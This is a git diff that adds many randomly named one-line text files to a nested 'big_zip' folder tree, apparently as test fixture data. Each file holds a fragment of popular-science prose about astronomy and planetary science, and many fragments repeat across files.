diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_fstfzbrn.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_fstfzbrn.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_fstfzbrn.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_gltitrxdqqbwbbpuwu.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_gltitrxdqqbwbbpuwu.txt
new file mode 100644
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_grzdfgzxyhicrg.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_grzdfgzxyhicrg.txt
new file mode 100644
index 0000000..e2f90ae
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_helafyvrjndl.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_helafyvrjndl.txt
new file mode 100644
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_kmiswxndskyngephrqtlhkiy.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_kmiswxndskyngephrqtlhkiy.txt
new file mode 100644
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_lkudnjpsd.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_lkudnjpsd.txt
new file mode 100644
index 0000000..e2f90ae
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_mqwmdavx.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_mqwmdavx.txt
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_msrbqisyxba.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_msrbqisyxba.txt
new file mode 100644
index 0000000..e2f90ae
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_oclseoxbu.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_oclseoxbu.txt
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_oltylxlkndxfcaupt.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_oltylxlkndxfcaupt.txt
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_smzqfwbttwcapzkiaabfuq.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_smzqfwbttwcapzkiaabfuq.txt
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@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_wnrkpzkqhqwhkpvidffrat.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_wnrkpzkqhqwhkpvidffrat.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_wnrkpzkqhqwhkpvidffrat.txt
@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_wsxlsusatnsbkfdiihygygz.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_wsxlsusatnsbkfdiihygygz.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_wsxlsusatnsbkfdiihygygz.txt
@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_xiqqwchxspzwjaddmgl.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_xiqqwchxspzwjaddmgl.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_xiqqwchxspzwjaddmgl.txt
@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_ygiwsdxlpbvhcewueizyeeo.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_ygiwsdxlpbvhcewueizyeeo.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_ygiwsdxlpbvhcewueizyeeo.txt
@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_zavfnvuemmabmoeanfz.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_zavfnvuemmabmoeanfz.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_zavfnvuemmabmoeanfz.txt
@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/glgwyowvr.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/glgwyowvr.txt
new file mode 100644
index 0000000..00961c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/glgwyowvr.txt
@@ -0,0 +1 @@
+evaporate and disintegrate. The debris spreads to fill the full cometary orbit. Where that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/iecbqpuehuefmnfotuu.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/iecbqpuehuefmnfotuu.txt
new file mode 100644
index 0000000..54b8305
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/iecbqpuehuefmnfotuu.txt
@@ -0,0 +1 @@
+evidence. Others have concluded the planet is lifeless because a preliminary search for a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/irjlsitlpwvwan.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/irjlsitlpwvwan.txt
new file mode 100644
index 0000000..4183adc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/irjlsitlpwvwan.txt
@@ -0,0 +1 @@
+by 5,000 kilometers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/kcvmnypxgs.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/kcvmnypxgs.txt
new file mode 100644
index 0000000..1fd2a6d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/kcvmnypxgs.txt
@@ -0,0 +1 @@
+in its radar reflection properties. We also know that partially surrounding Jupiter in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/lcoptiyuzylnukzvp.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/lcoptiyuzylnukzvp.txt
new file mode 100644
index 0000000..c5e0a15
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/lcoptiyuzylnukzvp.txt
@@ -0,0 +1 @@
+the legacy of Percival Lowell reminds us, we can be fooled. Perhaps there is an exotic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/oburlvxlcxcigbvqu.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/oburlvxlcxcigbvqu.txt
new file mode 100644
index 0000000..ed93882
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/oburlvxlcxcigbvqu.txt
@@ -0,0 +1 @@
+Sun lying in the middle of the orbit, and that the sphere of the fixed stars, situated
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/phtonowwmon.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/phtonowwmon.txt
new file mode 100644
index 0000000..4c0c2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/phtonowwmon.txt
@@ -0,0 +1 @@
+Beyond the Milk of Hera, past the Backbone of Night, the mind of Democritus soared.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/puxtqkoutbu.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/puxtqkoutbu.txt
new file mode 100644
index 0000000..ed074ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/puxtqkoutbu.txt
@@ -0,0 +1 @@
+bombing pass, dropping her eggs on the run into the tasty molasses. I had not discovered a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/puyolrdugcdpecjextnjt.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/puyolrdugcdpecjextnjt.txt
new file mode 100644
index 0000000..1d8eadb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/puyolrdugcdpecjextnjt.txt
@@ -0,0 +1 @@
+schoolroom. His name was Albert Einstein, and his ruminations changed the world.Einstein had been fascinated by Bernstein’s People’s Book of Natural Science, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/qnjlwbmvuorpmcmnadp.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/qnjlwbmvuorpmcmnadp.txt
new file mode 100644
index 0000000..84b9ae4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/qnjlwbmvuorpmcmnadp.txt
@@ -0,0 +1 @@
+planets that today have abundant microbes but no big beasts and vegetables.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/uijuufidvkp.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/uijuufidvkp.txt
new file mode 100644
index 0000000..cb4aafe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/uijuufidvkp.txt
@@ -0,0 +1 @@
+the gases lost to space are being replenished by others released from the satellite’s interior.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/vepoqbpksnseequzvtmlx.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/vepoqbpksnseequzvtmlx.txt
new file mode 100644
index 0000000..3a090ea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/vepoqbpksnseequzvtmlx.txt
@@ -0,0 +1 @@
+You can see faint stars and other objects by averting your vision slightly. I knew that,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/vmtcqktgcztsqpscyc.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/vmtcqktgcztsqpscyc.txt
new file mode 100644
index 0000000..10af2c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/vmtcqktgcztsqpscyc.txt
@@ -0,0 +1 @@
+interstellar gas and dust some 4.6 billion years ago. We know from the fossil record that the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/wcyjxdluiysqlbkmbljnf.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/wcyjxdluiysqlbkmbljnf.txt
new file mode 100644
index 0000000..7f41f40
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/wcyjxdluiysqlbkmbljnf.txt
@@ -0,0 +1 @@
+Despite Wallace’s critique, despite the fact that other astronomers with telescopes
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/wmpqlphghyurqbmjdiyfss.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/wmpqlphghyurqbmjdiyfss.txt
new file mode 100644
index 0000000..879c305
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/wmpqlphghyurqbmjdiyfss.txt
@@ -0,0 +1 @@
+strands, which are the two kinds of nucleic acids: DNA, which knows what to do, and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/yeflxwggytj.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/yeflxwggytj.txt
new file mode 100644
index 0000000..e1aed0f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/yeflxwggytj.txt
@@ -0,0 +1 @@
+their instructions - and are in fact themselves constructed - on orders sent from those in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/zcrwnsfssmdhizxcbqanikz.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/zcrwnsfssmdhizxcbqanikz.txt
new file mode 100644
index 0000000..bfc2a3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/zcrwnsfssmdhizxcbqanikz.txt
@@ -0,0 +1 @@
+canals, they are not in the position of the canals, and none of them is large enough
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/zkwmpsifrjwq.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/zkwmpsifrjwq.txt
new file mode 100644
index 0000000..18e8747
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/zkwmpsifrjwq.txt
@@ -0,0 +1 @@
+seemed we would forever be denied knowledge of their composition. But only three years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_bicfbijtkspb.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_bicfbijtkspb.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_bicfbijtkspb.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_buspnivprrcue.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_buspnivprrcue.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_buspnivprrcue.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_exrkcgajxbx.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_exrkcgajxbx.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_exrkcgajxbx.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_fkcryjuwbwhgotvmt.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_fkcryjuwbwhgotvmt.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_fkcryjuwbwhgotvmt.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_fkqzexqwoxpino.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_fkqzexqwoxpino.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_fkqzexqwoxpino.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_gechtunebnodezuhzx.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_gechtunebnodezuhzx.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_gechtunebnodezuhzx.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_ikmlareluujxtihwmlwpvkpf.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_ikmlareluujxtihwmlwpvkpf.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_ikmlareluujxtihwmlwpvkpf.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_nxczfttvbgppwfmprcsegbb.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_nxczfttvbgppwfmprcsegbb.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_nxczfttvbgppwfmprcsegbb.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_ojslsnqgngcjrjyeijsfp.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_ojslsnqgngcjrjyeijsfp.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_ojslsnqgngcjrjyeijsfp.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_qlvuaaktfcj.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_qlvuaaktfcj.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_qlvuaaktfcj.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_qpsepnjkgjvjklqi.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_qpsepnjkgjvjklqi.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_qpsepnjkgjvjklqi.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_rtqtrtlrcfjarfpl.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_rtqtrtlrcfjarfpl.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_rtqtrtlrcfjarfpl.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_sonifxkeynvqzmvrwcon.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_sonifxkeynvqzmvrwcon.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_sonifxkeynvqzmvrwcon.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_suxsetcwmemvtjqghxqona.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_suxsetcwmemvtjqghxqona.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_suxsetcwmemvtjqghxqona.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_tebbmfcomhbqfvrrsiceidh.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_tebbmfcomhbqfvrrsiceidh.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_tebbmfcomhbqfvrrsiceidh.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_xqvufmtiidvmynz.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_xqvufmtiidvmynz.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_xqvufmtiidvmynz.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/file_zrxhgibnwqmjdpuj.txt b/big_zip/big-zip-files/folder_clvucdqgyl/file_zrxhgibnwqmjdpuj.txt
new file mode 100644
index 0000000..ffb83e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/file_zrxhgibnwqmjdpuj.txt
@@ -0,0 +1 @@
+land use we are lowering the surface temperature of our planet. Might this cooling increase
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_abbbrmfwfzpal.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_abbbrmfwfzpal.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_abbbrmfwfzpal.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_acabezugayfibvovmzrhg.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_acabezugayfibvovmzrhg.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_acabezugayfibvovmzrhg.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_cnvbvmnriy.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_cnvbvmnriy.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_cnvbvmnriy.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_eclnvucfwtahmubkk.txt b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_eclnvucfwtahmubkk.txt
new file mode 100644
index 0000000..7e4abe1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_clvucdqgyl/folder_gxlftszigw/file_eclnvucfwtahmubkk.txt
@@ -0,0 +1 @@
+the sulfur dioxide should condense out as a kind of white frost; the charged particles would
\ No newline at end of file
